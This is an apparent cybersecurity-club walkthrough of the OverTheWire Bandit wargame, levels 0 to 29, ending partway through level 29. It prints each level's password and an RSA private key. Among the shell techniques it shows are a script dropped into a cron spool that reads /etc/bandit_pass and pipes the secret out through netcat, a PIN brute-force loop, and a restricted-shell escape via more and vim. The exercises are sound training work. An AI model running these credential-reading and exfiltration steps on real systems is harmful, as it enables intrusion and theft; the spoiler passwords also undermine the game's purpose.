OverTheWire Bandit Box Walkthrough

47 mins cybersecurity nkcyber
Table of Contents

OverTheWire is a fantastic website for learning about hacking and cybersecurity. For the first session in my school’s cybersecurity club, we’re getting started with the Bandit box.

Thanks so much to the team at OverTheWire for putting all of this together, and hosting it for free. I hope these solutions may be helpful to you, the reader.

I’ve come to find that there are lots of solutions out there. If mine are not satisfactory, you might also want to check out one of these.

Bandit Solutions

Start here for level 0:

Level 0

ssh bandit0@bandit.labs.overthewire.org -p 2220
Password: bandit0
bandit0@bandit:~$ cat readme
NH2SXQwcBdpmTEzi3bvBHMM9H66vVXjL

Level 1

ssh bandit1@bandit.labs.overthewire.org -p 2220
Password: NH2SXQwcBdpmTEzi3bvBHMM9H66vVXjL

ls produces one file: -

bandit1@bandit:~$ cat ./-
rRGizSaX8Mk1RTb1CNQoXTcYZWU6lgzi

Level 2

ssh bandit2@bandit.labs.overthewire.org -p 2220
Password: rRGizSaX8Mk1RTb1CNQoXTcYZWU6lgzi

ls produces the file spaces in this filename

bandit2@bandit:~$ cat spaces\ in\ this\ filename
aBZ0W5EmUfAf7kHTQeOwd8bauFJ2lAiG

Level 3

ssh bandit3@bandit.labs.overthewire.org -p 2220
Password: aBZ0W5EmUfAf7kHTQeOwd8bauFJ2lAiG

In the directory inhere there is a hidden file named .hidden

bandit3@bandit:~/inhere$ cat .hidden
2EW7BBsr6aMMoJ2HjW067dm8EgX26xNe

Level 4

ssh bandit4@bandit.labs.overthewire.org -p 2220
Password: 2EW7BBsr6aMMoJ2HjW067dm8EgX26xNe

ls produces a bunch of data files with dashes in their names.

We can filter through these, but most are garbage.

Let’s use file to see what they are.

bandit4@bandit:~/inhere$ file ./*
./-file00: data
./-file01: data
./-file02: data
./-file03: data
./-file04: data
./-file05: data
./-file06: data
./-file07: ASCII text
./-file08: data
./-file09: Non-ISO extended-ASCII text, with no line terminators

-file07 seems like the only interesting one, so let’s look at that.

bandit4@bandit:~/inhere$ cat ./-file07
lrIWWI6bB37kxfiCQZqUdOIYfr6eEeqR

and there’s the flag

Level 5

ssh bandit5@bandit.labs.overthewire.org -p 2220
Password: lrIWWI6bB37kxfiCQZqUdOIYfr6eEeqR

We get in the inhere directory and find a bunch of files called maybehere{numbers}

As given by the prompt, we’re looking for a file that’s:

We can go through all of them, and cat the output with the following command.

bandit5@bandit:~/inhere$ find . -size 1033c -exec cat {} +
P4L4vucdmLnm8I7Vl7jG1ApGSfjYKqJU

{Lots of whitespace}

Thus, we find the flag, along with lots of blank files.

Level 6

ssh bandit6@bandit.labs.overthewire.org -p 2220
Password: P4L4vucdmLnm8I7Vl7jG1ApGSfjYKqJU

We know the password for the next level is stored somewhere on the server and has all of the following properties:

We can just search the entire server for what we are looking for.

find / -user bandit7 -group bandit6 -print 2>/dev/null

(The -print stuff just gets rid of the permission denied errors.)

We can cat the output of the result of that command:

bandit6@bandit:/$ cat /var/lib/dpkg/info/bandit7.password
z7WtoNQU2XfjmMtWA8u5rN4vzqu4v99S

Level 7

ssh bandit7@bandit.labs.overthewire.org -p 2220
Password: z7WtoNQU2XfjmMtWA8u5rN4vzqu4v99S

This level has one file: data.txt

This file is over 90 thousand lines long, so it is impossible to parse by hand.

According to the page: The password for the next level is stored in the file data.txt next to the word millionth

bandit7@bandit:~$ cat data.txt | grep millionth
millionth       TESKZC0XvTetK0S9xNwm25STk5iWrBvP

Level 8

ssh bandit8@bandit.labs.overthewire.org -p 2220
Password: TESKZC0XvTetK0S9xNwm25STk5iWrBvP

We find one file named data.txt and it has one thousand lines of stuff.

The webpage says to find the line that appears only once, which we can do with the following command:

bandit8@bandit:~$ sort data.txt | uniq -u
EN632PlfYiZbn3PhVK3XOGSlNInNE00t

Level 9

ssh bandit9@bandit.labs.overthewire.org -p 2220
Password: EN632PlfYiZbn3PhVK3XOGSlNInNE00t

There is a data.txt file that contains data. We are instructed to find a string in the file that is prepended by equals signs.

We can do that with the following command:

bandit9@bandit:~$ strings data.txt | grep =
4========== the#
5P=GnFE
========== password
'DN9=5
========== is
$Z=_
=TU%
=^,T,?
W=y
q=W
X=K,
========== G7w8LIi6J3kTb8A7j9LgrywtEUlyyp6s
&S=(
nd?=

Level 10

ssh bandit10@bandit.labs.overthewire.org -p 2220
Password: G7w8LIi6J3kTb8A7j9LgrywtEUlyyp6s

This file has a b64 encoded file called data.txt

bandit10@bandit:~$ base64 -d data.txt
The password is 6zPeziLdR2RKNdNYFNb6nVCKzphlXHBM

Level 11

ssh bandit11@bandit.labs.overthewire.org -p 2220
Password: 6zPeziLdR2RKNdNYFNb6nVCKzphlXHBM

The password for the next level is stored in the file data.txt, where all lowercase (a-z) and uppercase (A-Z) letters have been rotated by 13 positions

We can use tr to rotate all characters 13 positions back.

bandit11@bandit:~$ cat data.txt
Gur cnffjbeq vf 5Gr8L4qetPEsPk8htqjhRK8XSP6x2RHh
bandit11@bandit:~$ cat data.txt | tr "$(echo -n {A..Z} {a..z} | tr -d ' ')" "$(echo -n {N..Z} {A..M} {n..z} {a..m} | tr -d ' ')"
The password is JVNBBFSmZwKKOP0XbFXOoW8chDz5yVRv

Level 12

ssh bandit12@bandit.labs.overthewire.org -p 2220
Password: JVNBBFSmZwKKOP0XbFXOoW8chDz5yVRv

Because we are going to have to do more stuff to this file, we copy it into a temp file.

bandit12@bandit:~$ mktemp -d
/tmp/tmp.Rw75xvbzkM
bandit12@bandit:~$ cp data.txt /tmp/tmp.Rw75xvbzkM
bandit12@bandit:~$ cd /tmp/tmp.Rw75xvbzkM
bandit12@bandit:/tmp/tmp.Rw75xvbzkM$ ls
data.txt

This file is first compressed as a hexdump, which we have to undo with

xxd -r data.txt data.out

This is a gzip file, which we can undo with

mv data.out data.gz && gzip -d data.gz

That file is compressed with bzip2, which we undo with

bzip2 -d data

We can reuse a previous command because it’s a .gz again.

mv data.out data.gz && gzip -d data.gz

There are a lot of different levels of compression, but they are all either tar, bzip2, or gzip

You can complete this challenge with:

xxd -r data data.out
mv data.out data.gz && gzip -d data.gz
bzip2 -d data
mv data.out data.gz && gzip -d data.gz
mv data data.tar.gz && tar -xvf data.tar.gz
tar -xvf data5.bin
tar -xvf data6.bin
mv data8.bin data8.gz && gzip -d data8.gz

The end result is

The password is wbWdlBxEir4CaE8LaPhauuOo6pwRmrDw

Level 13

ssh bandit13@bandit.labs.overthewire.org -p 2220
Password: wbWdlBxEir4CaE8LaPhauuOo6pwRmrDw

This level has a sshkey that we need to use for the next level.

Open another terminal. We can use scp to download this file, and use it for the next one.

scp -P 2220 bandit13@bandit.labs.overthewire.org:sshkey.private .

We have to trust the key we downloaded:

chmod 400 sshkey.private

and then use it to login:

ssh -i sshkey.private bandit14@bandit.labs.overthewire.org -p 2220

Level 14

ssh -i sshkey.private bandit14@bandit.labs.overthewire.org -p 2220

After we are in from the previous problem, we can just cat the password file to port 3000

$ cat /etc/bandit_pass/bandit14 | nc localhost 30000
Correct!
jN2kgmIXJ6fShzhT2avhotn4Zcka6tnt

Level 15

ssh bandit15@bandit.labs.overthewire.org -p 2220
Password: jN2kgmIXJ6fShzhT2avhotn4Zcka6tnt

We have to pass the current password to Port 30001 on localhost using SSL encryption.

I can tell that they have openssl on the system

bandit15@bandit:~$ which openssl
/usr/bin/openssl

This is a great cheatsheet for openssl.

Enter the current password into the openssl connection:

bandit15@bandit:~$ openssl s_client -connect localhost:30001

[connection output, many lines cut]

jN2kgmIXJ6fShzhT2avhotn4Zcka6tnt
Correct!
JQttfApK4SeyHwDlI9SXGR50qclOAil1

closed
bandit15@bandit:~$

Level 16

ssh bandit16@bandit.labs.overthewire.org -p 2220
Password: JQttfApK4SeyHwDlI9SXGR50qclOAil1

The credentials for the next level can be retrieved by submitting the password of the current level to a port on localhost in the range 31000 to 32000.

We have a range of ports, and I want to scan.

Nmap it is. Here’s a good guide if you’re not familiar: https://hackertarget.com/nmap-cheatsheet-a-quick-reference-guide/

bandit16@bandit:~$ nmap -p 31000-32000 localhost

Starting Nmap 7.40 ( https://nmap.org ) at 2020-07-06 00:11 CEST
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00023s latency).
Not shown: 996 closed ports
PORT      STATE SERVICE
31046/tcp open  unknown
31518/tcp open  unknown
31691/tcp open  unknown
31790/tcp open  unknown
31960/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 0.09 seconds

Now, instead of 1000 ports to try, I have five.

Then find out which of those speak SSL and which don’t. There is only 1 server that will give the next credentials, the others will simply send back to you whatever you send to it.

bandit16@bandit:~$ openssl s_client -connect localhost:31046

(did not work)

I bet there’s an automated way of checking these, but there were only five so I didn’t bother researching it. I just tried to connect to each one.

bandit16@bandit:~$ openssl s_client -connect localhost:31790

[connection boilerplate removed]

JQttfApK4SeyHwDlI9SXGR50qclOAil1
Correct!
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAvmOkuifmMg6HL2YPIOjon6iWfbp7c3jx34YkYWqUH57SUdyJ
imZzeyGC0gtZPGujUSxiJSWI/oTqexh+cAMTSMlOJf7+BrJObArnxd9Y7YT2bRPQ
Ja6Lzb558YW3FZl87ORiO+rW4LCDCNd2lUvLE/GL2GWyuKN0K5iCd5TbtJzEkQTu
DSt2mcNn4rhAL+JFr56o4T6z8WWAW18BR6yGrMq7Q/kALHYW3OekePQAzL0VUYbW
JGTi65CxbCnzc/w4+mqQyvmzpWtMAzJTzAzQxNbkR2MBGySxDLrjg0LWN6sK7wNX
x0YVztz/zbIkPjfkU1jHS+9EbVNj+D1XFOJuaQIDAQABAoIBABagpxpM1aoLWfvD
KHcj10nqcoBc4oE11aFYQwik7xfW+24pRNuDE6SFthOar69jp5RlLwD1NhPx3iBl
J9nOM8OJ0VToum43UOS8YxF8WwhXriYGnc1sskbwpXOUDc9uX4+UESzH22P29ovd
d8WErY0gPxun8pbJLmxkAtWNhpMvfe0050vk9TL5wqbu9AlbssgTcCXkMQnPw9nC
YNN6DDP2lbcBrvgT9YCNL6C+ZKufD52yOQ9qOkwFTEQpjtF4uNtJom+asvlpmS8A
vLY9r60wYSvmZhNqBUrj7lyCtXMIu1kkd4w7F77k+DjHoAXyxcUp1DGL51sOmama
+TOWWgECgYEA8JtPxP0GRJ+IQkX262jM3dEIkza8ky5moIwUqYdsx0NxHgRRhORT
8c8hAuRBb2G82so8vUHk/fur85OEfc9TncnCY2crpoqsghifKLxrLgtT+qDpfZnx
SatLdt8GfQ85yA7hnWWJ2MxF3NaeSDm75Lsm+tBbAiyc9P2jGRNtMSkCgYEAypHd
HCctNi/FwjulhttFx/rHYKhLidZDFYeiE/v45bN4yFm8x7R/b0iE7KaszX+Exdvt
SghaTdcG0Knyw1bpJVyusavPzpaJMjdJ6tcFhVAbAjm7enCIvGCSx+X3l5SiWg0A
R57hJglezIiVjv3aGwHwvlZvtszK6zV6oXFAu0ECgYAbjo46T4hyP5tJi93V5HDi
Ttiek7xRVxUl+iU7rWkGAXFpMLFteQEsRr7PJ/lemmEY5eTDAFMLy9FL2m9oQWCg
R8VdwSk8r9FGLS+9aKcV5PI/WEKlwgXinB3OhYimtiG2Cg5JCqIZFHxD6MjEGOiu
L8ktHMPvodBwNsSBULpG0QKBgBAplTfC1HOnWiMGOU3KPwYWt0O6CdTkmJOmL8Ni
blh9elyZ9FsGxsgtRBXRsqXuz7wtsQAgLHxbdLq/ZJQ7YfzOKU4ZxEnabvXnvWkU
YOdjHdSOoKvDQNWu6ucyLRAWFuISeXw9a/9p7ftpxm0TSgyvmfLF2MIAEwyzRqaM
77pBAoGAMmjmIJdjp+Ez8duyn3ieo36yrttF5NSsJLAbxFpdlc1gvtGCWW+9Cq0b
dxviW8+TFVEBl1O4f7HVm6EpTscdDxU+bCXWkfjuRb7Dy9GOtt9JPsX8MBTakzh3
vBgsyi/sN3RqRBcGU40fOoZyfAMT8s1m/uYv52O6IgeuZ/ujbjY=
-----END RSA PRIVATE KEY-----

closed
bandit16@bandit:~$

Level 17

Copy the RSA key from last time into a file like level16ssh.private

chmod 400 level16ssh.private

ssh bandit17@bandit.labs.overthewire.org -p 2220 -i level16ssh.private

Doing ls we see 2 files: passwords.new and passwords.old.

This might seem like a completely secure way to save passwords, but apparently there is a weakness. /s

the password for the next level is in passwords.new and is the only line that has been changed between passwords.old and passwords.new

bandit17@bandit:~$ cat passwords.new  | wc -l
100
bandit17@bandit:~$ cat * | wc -l
200

each one has 100 lines, which is way too many to do by hand.

bandit17@bandit:~$ ls
passwords.new  passwords.old
bandit17@bandit:~$ diff *
42c42
< hga5tuuCLF6fFzUpnagiMN8ssu9LFrdg
---
> glZreTEH1V3cGKL6g4conYqZqaEj0mte
bandit17@bandit:~$

hga5tuuCLF6fFzUpnagiMN8ssu9LFrdg is the password. easy clap gg

Level 18

ssh bandit18@bandit.labs.overthewire.org -p 2220 -t 'cat readme; bash -login'
Password: hga5tuuCLF6fFzUpnagiMN8ssu9LFrdg

We can look around the home directory with the past user.

There is a .bash_logout function that immediately logs you out if you are trying to log in, if "$SHLVL" = 1.

We could probably do stuff with that, but why bother. We can just cat the file.

Here is what the whole level looks like.

sarge@sargebox >> ~$ ssh bandit18@bandit.labs.overthewire.org -p 2220 -t 'cat readme; bash -login'

This is a OverTheWire game server. More information on http://www.overthewire.org/wargames

bandit18@bandit.labs.overthewire.org's password:

awhqfNnAbc1naukrpqDYcF95h7HoMTrC
Byebye !
Connection to bandit.labs.overthewire.org closed.

Level 19

ssh bandit19@bandit.labs.overthewire.org -p 2220
Password: awhqfNnAbc1naukrpqDYcF95h7HoMTrC

To gain access to the next level, you should use the setuid binary in the homedirectory. Execute it without arguments to find out how to use it. The password for this level can be found in the usual place (/etc/bandit_pass), after you have used the setuid binary.

as far as I can tell, I just want to cat /etc/bandit_pass/bandit20

I can use the setuid to do that.

bandit19@bandit:~$ ./bandit20-do cat /etc/bandit_pass/bandit20
VxCazJaVykI6W36BkBU0mJTCM8rR95XT

that wasn’t too hard now, was it.

Here’s a video with more information on SUID and SGID

Level 20

ssh bandit20@bandit.labs.overthewire.org -p 2220
Password: VxCazJaVykI6W36BkBU0mJTCM8rR95XT

For this one we basically need to use netcat to listen for a port, and establish a connection.

Shell 1:

bandit20@bandit:~$  nc -lvvp 8888
listening on [any] 8888 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 42856
VxCazJaVykI6W36BkBU0mJTCM8rR95XT
NvEJF7oVjkddltPSrdKEFOllh9V1IBcq
 sent 33, rcvd 33

Shell 2:

bandit20@bandit:~$ ./suconnect 8888
Read: VxCazJaVykI6W36BkBU0mJTCM8rR95XT
Password matches, sending next password

note that the -p is important with netcat. otherwise it will refuse to connect.

Level 21

ssh bandit21@bandit.labs.overthewire.org -p 2220
Password: NvEJF7oVjkddltPSrdKEFOllh9V1IBcq

Just to mention, this level was completed on my cellphone with a portable keyboard and the android app Termux. The portable keyboard works well.

We are told on the challenge page to look into the cronjobs on the system.

In bandit22, we see that it is running a shell script in /usr/bin

In this shell script, we see that it is sending the password to this level to /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv

bandit21@bandit:/usr/bin$ cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv

WdDozAdTM2z9DiFEQ2mGlwngMfj4EZff

Level 22

ssh bandit22@bandit.labs.overthewire.org -p 2220
Password: WdDozAdTM2z9DiFEQ2mGlwngMfj4EZff

According to the page:

A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed.

We find that /etc/cron.d/cronjob_bandit23 is running /usr/bin/cronjob_bandit23.sh

This is that script, with my comments

#!/bin/bash
myname=$(whoami)
# Type:
# myname="bandit23"
mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)
# if name is not set properly, this returns
# 7db97df393f40ad1691b6e1fb03d53eb
# If name is set properly, it should return:
# 8ca319486bfbbc3663ea0fbe81326349

echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"
# Returns: Copying passwordfile /etc/bandit_pass/bandit23 to /tmp/8ca319486bfbbc3663ea0fbe81326349

cat /etc/bandit_pass/$myname > /tmp/$mytarget
# cat /tmp/8ca319486bfbbc3663ea0fbe81326349
## Returns: QYw0Y2aiA672PsMmh9puTQuhoz8SyR2G

To be clear, you just need to run:

cat /tmp/8ca319486bfbbc3663ea0fbe81326349

Level 23

ssh bandit23@bandit.labs.overthewire.org -p 2220
Password: QYw0Y2aiA672PsMmh9puTQuhoz8SyR2G
Notes from 2020

A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed.

NOTE: This level requires you to create your own first shell-script. This is a very big step and you should be proud of yourself when you beat this level!

NOTE 2: Keep in mind that your shell script is removed once executed, so you may want to keep a copy around…

/etc/cron.d/cronjob_bandit24 is running /usr/bin/cronjob_bandit24.sh, which is pasted below.

#!/bin/bash

myname=$(whoami)
# myname = bandit24

cd /var/spool/$myname
# Note: In this dir, we have write permissions, but no read permissions.
echo "Executing and deleting all scripts in /var/spool/$myname:"
for i in * .*;
do
    if [ "$i" != "." -a "$i" != ".." ];
    then
        echo "Handling $i"
        owner="$(stat --format "%U" ./$i)"
        if [ "${owner}" = "bandit23" ]; then
            timeout -s 9 60 ./$i
        fi
        rm -f ./$i
    fi
done

i created a temporary directory in /tmp/zsarge, in which i included the following script (named script.sh): (you could also use mktemp -d if you want. You have permission to make any directory in /tmp)

#!/bin/bash

# This is the command to run:
# path=/tmp/zsarge/script.sh;path2=/var/spool/bandit24/zsarge.sh; cat $path > $path2; chmod +x $path2; watch "file $path2 && cat $path2"

# printf "$(cat /tmp/zsarge/pass)$(date)\n-" > /tmp/zsarge/pass
# echo -n 'Line of text'
echo -n "$(cat /etc/bandit_pass/bandit24)" | nc localhost 8899

and on a separate terminal instance, i started nc -lvvp 8899

Basically, I am running a shell script that reads the flag and passes it to a separate netcat connection, because writing permissions were getting weird.

I ran this all with:

path=/tmp/zsarge/script.sh;
path2=/var/spool/bandit24/zsarge.sh;
cat $path > $path2;
chmod +x $path2;
watch "file $path2 && cat $path2" # you can tell when the file has been run when this disappears

As of 2023, this solution has changed slightly:

The key solution here is to get a bash script to echo the password into something that is readable from another perspective. I imagine you could use a file readable by all users, but I’ll use a network connection, because I know it’ll work.

Open one shell as bandit23, and run:

bandit23@bandit:~$ nc -lvvp 8899
Listening on 0.0.0.0 8899

Open another shell as bandit23, and run:

bandit23@bandit:~$ cat /etc/cron.d/cronjob_bandit24
@reboot bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
* * * * * bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
bandit23@bandit:~$ cat /usr/bin/cronjob_bandit24.sh
#!/bin/bash

myname=$(whoami)

cd /var/spool/$myname/foo || exit 1
echo "Executing and deleting all scripts in /var/spool/$myname/foo:"
for i in * .*;
do
    if [ "$i" != "." -a "$i" != ".." ];
    then
        echo "Handling $i"
        owner="$(stat --format "%U" ./$i)"
        if [ "${owner}" = "bandit23" ]; then
            timeout -s 9 60 ./$i
        fi
        rm -rf ./$i
    fi
done
bandit23@bandit:~$ cd /var/spool/bandit24
bandit23@bandit:/var/spool/bandit24$ # you'd probably want to use `mktemp -d` if you were experimenting for real
bandit23@bandit:/var/spool/bandit24$ cat << 'EOF' > /tmp/solve23/solve23.sh
#!/bin/bash
echo -n "$(cat /etc/bandit_pass/bandit24)" | nc localhost 8899
EOF
bandit23@bandit:/var/spool/bandit24$ chmod +x /tmp/solve23/solve23.sh
bandit23@bandit:/var/spool/bandit24$ cp /tmp/solve23/solve23.sh foo

Then, after the minute turns, you should see your other terminal update with:

bandit23@bandit:~$ nc -lvvp 8899
Listening on 0.0.0.0 8899
Connection received on localhost 37922
VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar

And thus you get the password.

Level 24

ssh bandit24@bandit.labs.overthewire.org -p 2220
Password: VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar

The prompt is:

A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing. You do not need to create new connections each time

Well, that seems relatively straightforward.

bandit24@bandit:~$ cd $(mktemp -d)
bandit24@bandit:/tmp/tmp.92incHlbeQ$ cat solve24.py

I kinda wish that Ruby was installed, but I’ll do my solution in Python:

# solve24.py
pass_24 = "VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar"
with open('input.txt', 'w') as f:
    for i in reversed(range(10000)):
        f.write(pass_24)
        f.write(' ')
        f.write(str(i).zfill(4))
        f.write('\n')
bandit24@bandit:/tmp/tmp.92incHlbeQ$ python3 solve24.py
bandit24@bandit:/tmp/tmp.92incHlbeQ$ head input.txt
VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 9999
VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 9998
VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 9997
VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 9996
VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 9995
VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 9994
VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 9993
VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 9992
VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 9991
VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 9990
bandit24@bandit:/tmp/tmp.92incHlbeQ$ cat script.sh
cat input.txt | nc localhost 30002 | grep -v Wrong | tee -a output.txt
bandit24@bandit:/tmp/tmp.92incHlbeQ$ time bash script.sh
I am the pincode checker for user bandit25. Please enter the password for user
 bandit24 and the secret pincode on a single line, separated by a space.
Correct!
The password of user bandit25 is p7TaowMYrmu23Ol8hiZh9UvD0O9hpx8d

Exiting.

real    0m1.284s
user    0m0.010s
sys     0m0.000s

Going in reverse saves a significant amount of time.

Just fyi, afterwards, I found another solution that used bash instead of Python.

Level 25

ssh bandit25@bandit.labs.overthewire.org -p 2220
Password: p7TaowMYrmu23Ol8hiZh9UvD0O9hpx8d

Logging in to bandit26 from bandit25 should be fairly easy… The shell for user bandit26 is not /bin/bash, but something else. Find out what it is, how it works and how to break out of it.

Hmm, interesting. Here, we are just given one file:

bandit25@bandit:~$ ls
bandit26.sshkey

We can copy it onto our local machine:

$ # copy bandit26.sshkey to current directory "."
$ scp -P 2220 bandit25@bandit.labs.overthewire.org:bandit26.sshkey .

Let’s check what bandit26 is using as a shell:

bandit25@bandit:~$ cat /etc/passwd | grep bandit26
bandit26:x:11026:11026:bandit level 26:/home/bandit26:/usr/bin/showtext
bandit25@bandit:~$ cat /usr/bin/showtext
#!/bin/sh

export TERM=linux

exec more ~/text.txt
exit 0

Neat. So, it’s just using more to read the file from text.txt, has some nice little ascii art:

  _                     _ _ _   ___   __
 | |                   | (_) | |__ \ / /
 | |__   __ _ _ __   __| |_| |_   ) / /_
 | '_ \ / _` | '_ \ / _` | | __| / / '_ \
 | |_) | (_| | | | | (_| | | |_ / /| (_) |
 |_.__/ \__,_|_| |_|\__,_|_|\__|____\___/

But, on super small screens, more allows to scroll through each line individually (and also enter shell commands), so you’re going to need to either scrunch up your terminal super , so it’s only one or two lines tall.

You should get something like this:

  _                     _ _ _   ___   __
 | |                   | (_) | |__ \ / /
 | |__   __ _ _ __   __| |_| |_   ) / /_
--More--(50%)

And now you can enter Vim by pressing v. From here on, you can make the screen bigger without worry.

In Vim, you can enter:

:set shell=/bin/bash
:!cat /etc/bandit_pass/bandit26

And you should see:

c7GvcKlw9mC7aUQaPx7nwFstuAIBw1o1

Remember not to exit this shell. You’ll want it for later.

You can also enter:

:shell

to enter bash.

Level 26

ssh bandit26@bandit.labs.overthewire.org -p 2220 -i bandit26.sshkey
(see steps above; TL;DR: Make screen small, use more -> vim -> shell)

Let’s investigate bandit26:

bandit26@bandit:~$ ls
bandit27-do  text.txt
bandit26@bandit:~$ ./bandit27-do
Run a command as another user.
  Example: ./bandit27-do id
bandit26@bandit:~$ # ^ this seems like a lie. It really runs the command provided. You don't have to give it an id.
bandit26@bandit:~$ ./bandit27-do cat /etc/bandit_pass/bandit27
YnQpBuifNMas1hcUFk70ZmqkhUU2EuaS

Level 27

ssh bandit27@bandit.labs.overthewire.org -p 2220
Password: YnQpBuifNMas1hcUFk70ZmqkhUU2EuaS

There is a git repository at ssh://bandit27-git@localhost/home/bandit27-git/repo via the port 2220. The password for the user bandit27-git is the same as for the user bandit27.

Clone the repository and find the password for the next level.

Ok, seems relatively straightforward:

bandit27@bandit:~$ cd $(mktemp -d)
bandit27@bandit:/tmp/tmp.Fjjdw0yRZM$ git clone ssh://bandit27-git@localhost:2220/home/bandit27-git/repo
Cloning into 'repo'...
The authenticity of host '[localhost]:2220 ([127.0.0.1]:2220)' can't be established.
ED25519 key fingerprint is SHA256:C2ihUBV7ihnV1wUXRb4RrEcLfXC5CXlhmAAM/urerLY.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Could not create directory '/home/bandit27/.ssh' (Permission denied).
Failed to add the host to the list of known hosts (/home/bandit27/.ssh/known_hosts).
                         _                     _ _ _
                        | |__   __ _ _ __   __| (_) |_
                        | '_ \ / _` | '_ \ / _` | | __|
                        | |_) | (_| | | | | (_| | | |_
                        |_.__/ \__,_|_| |_|\__,_|_|\__|


                      This is an OverTheWire game server.
            More information on http://www.overthewire.org/wargames

bandit27-git@localhost's password:
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Compressing objects: 100% (2/2), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (3/3), done.
bandit27@bandit:/tmp/tmp.Fjjdw0yRZM$ ls
repo
bandit27@bandit:/tmp/tmp.Fjjdw0yRZM$ cd repo
bandit27@bandit:/tmp/tmp.Fjjdw0yRZM/repo$ ls
README
bandit27@bandit:/tmp/tmp.Fjjdw0yRZM/repo$ cat README
The password to the next level is: AVanL161y9rsbcJIsFHuw35rjaOM19nR

Level 28

ssh bandit28@bandit.labs.overthewire.org -p 2220
Password: AVanL161y9rsbcJIsFHuw35rjaOM19nR
bandit28@bandit:~$ cd $(mktemp -d)
bandit28@bandit:/tmp/tmp.IwzWlrgiqT$ git clone ssh://bandit28-git@localhost:2220/home/bandit28-git/repo
Cloning into 'repo'...
The authenticity of host '[localhost]:2220 ([127.0.0.1]:2220)' can't be established.
ED25519 key fingerprint is SHA256:C2ihUBV7ihnV1wUXRb4RrEcLfXC5CXlhmAAM/urerLY.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Could not create directory '/home/bandit28/.ssh' (Permission denied).
Failed to add the host to the list of known hosts (/home/bandit28/.ssh/known_hosts).
                         _                     _ _ _
                        | |__   __ _ _ __   __| (_) |_
                        | '_ \ / _` | '_ \ / _` | | __|
                        | |_) | (_| | | | | (_| | | |_
                        |_.__/ \__,_|_| |_|\__,_|_|\__|


                      This is an OverTheWire game server.
            More information on http://www.overthewire.org/wargames

bandit28-git@localhost's password:
remote: Enumerating objects: 9, done.
remote: Counting objects: 100% (9/9), done.
remote: Compressing objects: 100% (6/6), done.
remote: Total 9 (delta 2), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (9/9), done.
Resolving deltas: 100% (2/2), done.
bandit28@bandit:/tmp/tmp.IwzWlrgiqT$ ls
repo
bandit28@bandit:/tmp/tmp.IwzWlrgiqT$ cd repo
bandit28@bandit:/tmp/tmp.IwzWlrgiqT/repo$ ls
README.md
bandit28@bandit:/tmp/tmp.IwzWlrgiqT/repo$ cat README.md
# Bandit Notes
Some notes for level29 of bandit.

## credentials

- username: bandit29
- password: xxxxxxxxxx

bandit28@bandit:/tmp/tmp.IwzWlrgiqT/repo$ git log --oneline
899ba88 (HEAD -> master, origin/master, origin/HEAD) fix info leak
abcff75 add missing data
c0a8c3c initial commit of README.md
bandit28@bandit:/tmp/tmp.IwzWlrgiqT/repo$ git checkout abcff75
Note: switching to 'abcff75'.

You are in 'detached HEAD' state. You can look around, make experimental
changes and commit them, and you can discard any commits you make in this
state without impacting any branches by switching back to a branch.

If you want to create a new branch to retain commits you create, you may
do so (now or later) by using -c with the switch command. Example:

  git switch -c <new-branch-name>

Or undo this operation with:

  git switch -

Turn off this advice by setting config variable advice.detachedHead to false

HEAD is now at abcff75 add missing data
bandit28@bandit:/tmp/tmp.IwzWlrgiqT/repo$ cat README.md
# Bandit Notes
Some notes for level29 of bandit.

## credentials

- username: bandit29
- password: tQKvmcwNYcFS6vmPHIUSI3ShmsrQZK8S

Level 29

ssh bandit29@bandit.labs.overthewire.org -p 2220
Password: tQKvmcwNYcFS6vmPHIUSI3ShmsrQZK8S

There is a git repository at ssh://bandit29-git@localhost/home/bandit29-git/repo via the port 2220. The password for the user bandit29-git is the same as for the user bandit29.

Clone the repository and find the password for the next level.

bandit29@bandit:~$ cd $(mktemp -d)
bandit29@bandit:/tmp/tmp.yprHIM2rh2$ git clone ssh://bandit29-git@localhost:2220/home/bandit29-git/repo
Cloning into 'repo'...
The authenticity of host '[localhost]:2220 ([127.0.0.1]:2220)' can't be established.
ED25519 key fingerprint is SHA256:C2ihUBV7ihnV1wUXRb4RrEcLfXC5CXlhmAAM/urerLY.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Could not create directory '/home/bandit29/.ssh' (Permission denied).
Failed to add the host to the list of known hosts (/home/bandit29/.ssh/known_hosts).
                         _                     _ _ _
                        | |__   __ _ _ __   __| (_) |_
                        | '_ \ / _` | '_ \ / _` | | __|
                        | |_) | (_| | | | | (_| | | |_
                        |_.__/ \__,_|_| |_|\__,_|_|\__|


                      This is an OverTheWire game server.
